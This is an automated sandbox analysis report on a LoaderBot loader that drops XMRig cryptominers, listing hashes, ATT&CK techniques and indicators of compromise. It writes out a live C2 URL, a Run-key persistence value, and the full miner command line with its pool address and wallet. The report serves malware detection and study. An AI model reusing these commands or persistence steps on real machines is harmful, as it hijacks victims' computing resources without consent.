loaderbot | 5f9a1acbfa17eca5ded815ac04fed1a4a60f5a098363633ef005a77497e5640c

Analysis

max time kernel
151s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
02-03-2024 01:00

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
Size

16.4MB
MD5

a40922a0817209921c662b4bc780074b
SHA1

284b40820d81280fa938c6c76dca15b712fb8813
SHA256

5f9a1acbfa17eca5ded815ac04fed1a4a60f5a098363633ef005a77497e5640c
SHA512

7796e69eed7adb0bb676e759cd36bd64734e3ff32cd27abe16f628afe38c1b91223ff529605d4ed65d63dc618cbe33590902edf7ecf23dbed7994f028c1251bb
SSDEEP

393216:ZuEKRCaqXnU6lzje+CtrDXXTUPSPS4JTZ/wJ3cip8b96:ZuLqXWTZ8DKbE

Score

10^/10

loaderbot xmrig loader miner persistence

Malware Config

Extracted

Family

loaderbot

http://92.204.173.86/cmd.php

Signatures

LoaderBot
LoaderBot is a loader written in .NET downloading and executing miners.
loader miner loaderbot
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
LoaderBot executable 1 IoCs

Processes:

resource yara_rule

behavioral2/memory/4768-1-0x0000000000F80000-0x0000000001FE4000-memory.dmp loaderbot

resource	yara_rule
behavioral2/memory/4768-1-0x0000000000F80000-0x0000000001FE4000-memory.dmp	loaderbot

XMRig Miner payload 16 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/1200-18-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral2/memory/2916-21-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral2/memory/2476-25-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral2/memory/2476-27-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral2/memory/2476-33-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral2/memory/2476-34-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral2/memory/2476-35-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral2/memory/2476-40-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral2/memory/2476-41-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral2/memory/2476-42-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral2/memory/2476-43-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral2/memory/2476-44-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral2/memory/2476-45-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral2/memory/2476-46-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral2/memory/2476-47-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig
behavioral2/memory/2476-48-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

1404-55-0x00000000002C0000-0x0000000001324000-memory.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000\Control Panel\International\Geo\Nation 1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
Drops startup file 1 IoCs

Processes:

1404-55-0x00000000002C0000-0x0000000001324000-memory.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url 1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
Executes dropped EXE 3 IoCs

Processes:

Driver.exeDriver.exeDriver.exe

pid process

1200 Driver.exe
2916 Driver.exe
2476 Driver.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000\Control Panel\International\Geo\Nation	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe

pid	process
1200	Driver.exe
2916	Driver.exe
2476	Driver.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

1404-55-0x00000000002C0000-0x0000000001324000-memory.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Driver = "C:\\Users\\Admin\\AppData\\Roaming\\Sysfiles\\1404-55-0x00000000002C0000-0x0000000001324000-memory.exe"	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

1404-55-0x00000000002C0000-0x0000000001324000-memory.exe

pid	process
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

672
Suspicious behavior: RenamesItself 1 IoCs

Processes:

1404-55-0x00000000002C0000-0x0000000001324000-memory.exe

pid process

4768 1404-55-0x00000000002C0000-0x0000000001324000-memory.exe

pid	process
672

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

1404-55-0x00000000002C0000-0x0000000001324000-memory.exeDriver.exeDriver.exe

description	pid	process
Token: SeDebugPrivilege	4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
Token: SeLockMemoryPrivilege	1200	Driver.exe
Token: SeLockMemoryPrivilege	1200	Driver.exe
Token: SeLockMemoryPrivilege	2476	Driver.exe
Token: SeLockMemoryPrivilege	2476	Driver.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

1404-55-0x00000000002C0000-0x0000000001324000-memory.exe

description	pid	process	target process
PID 4768 wrote to memory of 1200	4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe	Driver.exe
PID 4768 wrote to memory of 1200	4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe	Driver.exe
PID 4768 wrote to memory of 2916	4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe	Driver.exe
PID 4768 wrote to memory of 2916	4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe	Driver.exe
PID 4768 wrote to memory of 2476	4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe	Driver.exe
PID 4768 wrote to memory of 2476	4768	1404-55-0x00000000002C0000-0x0000000001324000-memory.exe	Driver.exe

C:\Users\Admin\AppData\Local\Temp\1404-55-0x00000000002C0000-0x0000000001324000-memory.exe
"C:\Users\Admin\AppData\Local\Temp\1404-55-0x00000000002C0000-0x0000000001324000-memory.exe"
1⤵
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4768

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 46JP2Vir9Zd4xARGJRWwA7DrzTyV541xXVAnVuR7KnMcSXidE9roEwKWmSCUF1QMygYkLFvRegGxWhTVVgmnQN7dSoA1X9j -p x -k -v=0 --donate-level=1 -t 4
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1200

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 46JP2Vir9Zd4xARGJRWwA7DrzTyV541xXVAnVuR7KnMcSXidE9roEwKWmSCUF1QMygYkLFvRegGxWhTVVgmnQN7dSoA1X9j -p x -k -v=0 --donate-level=1 -t 4
2⤵
- Executes dropped EXE
PID:2916

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 46JP2Vir9Zd4xARGJRWwA7DrzTyV541xXVAnVuR7KnMcSXidE9roEwKWmSCUF1QMygYkLFvRegGxWhTVVgmnQN7dSoA1X9j -p x -k -v=0 --donate-level=1 -t 4
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2476

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
Filesize
3.9MB

MD5
02569a7a91a71133d4a1023bf32aa6f4

SHA1
0f16bcb3f3f085d3d3be912195558e9f9680d574

SHA256
8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

SHA512
534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

Download Submit
memory/1200-18-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/1200-17-0x0000000000510000-0x0000000000524000-memory.dmp

Filesize
80KB

Download
memory/1200-15-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/2476-39-0x0000000002170000-0x0000000002190000-memory.dmp

Filesize
128KB

Download
memory/2476-34-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/2476-48-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/2476-47-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/2476-46-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/2476-24-0x00000000020F0000-0x0000000002110000-memory.dmp

Filesize
128KB

Download
memory/2476-25-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/2476-45-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/2476-27-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/2476-28-0x0000000002110000-0x0000000002130000-memory.dmp

Filesize
128KB

Download
memory/2476-29-0x0000000002130000-0x0000000002150000-memory.dmp

Filesize
128KB

Download
memory/2476-44-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/2476-31-0x0000000002150000-0x0000000002170000-memory.dmp

Filesize
128KB

Download
memory/2476-32-0x0000000002170000-0x0000000002190000-memory.dmp

Filesize
128KB

Download
memory/2476-33-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/2476-43-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/2476-35-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/2476-36-0x0000000002110000-0x0000000002130000-memory.dmp

Filesize
128KB

Download
memory/2476-37-0x0000000002130000-0x0000000002150000-memory.dmp

Filesize
128KB

Download
memory/2476-38-0x0000000002150000-0x0000000002170000-memory.dmp

Filesize
128KB

Download
memory/2476-42-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/2476-40-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/2476-41-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/2916-21-0x0000000140000000-0x0000000140B75000-memory.dmp

Filesize
11.5MB

Download
memory/4768-0-0x0000000074CE0000-0x0000000075490000-memory.dmp

Filesize
7.7MB

Download
memory/4768-4-0x0000000006B50000-0x0000000006BB6000-memory.dmp

Filesize
408KB

Download
memory/4768-30-0x0000000006930000-0x0000000006940000-memory.dmp

Filesize
64KB

Download
memory/4768-26-0x0000000074CE0000-0x0000000075490000-memory.dmp

Filesize
7.7MB

Download
memory/4768-1-0x0000000000F80000-0x0000000001FE4000-memory.dmp

Filesize
16.4MB

Download
memory/4768-5-0x0000000006930000-0x0000000006940000-memory.dmp

Filesize
64KB

Download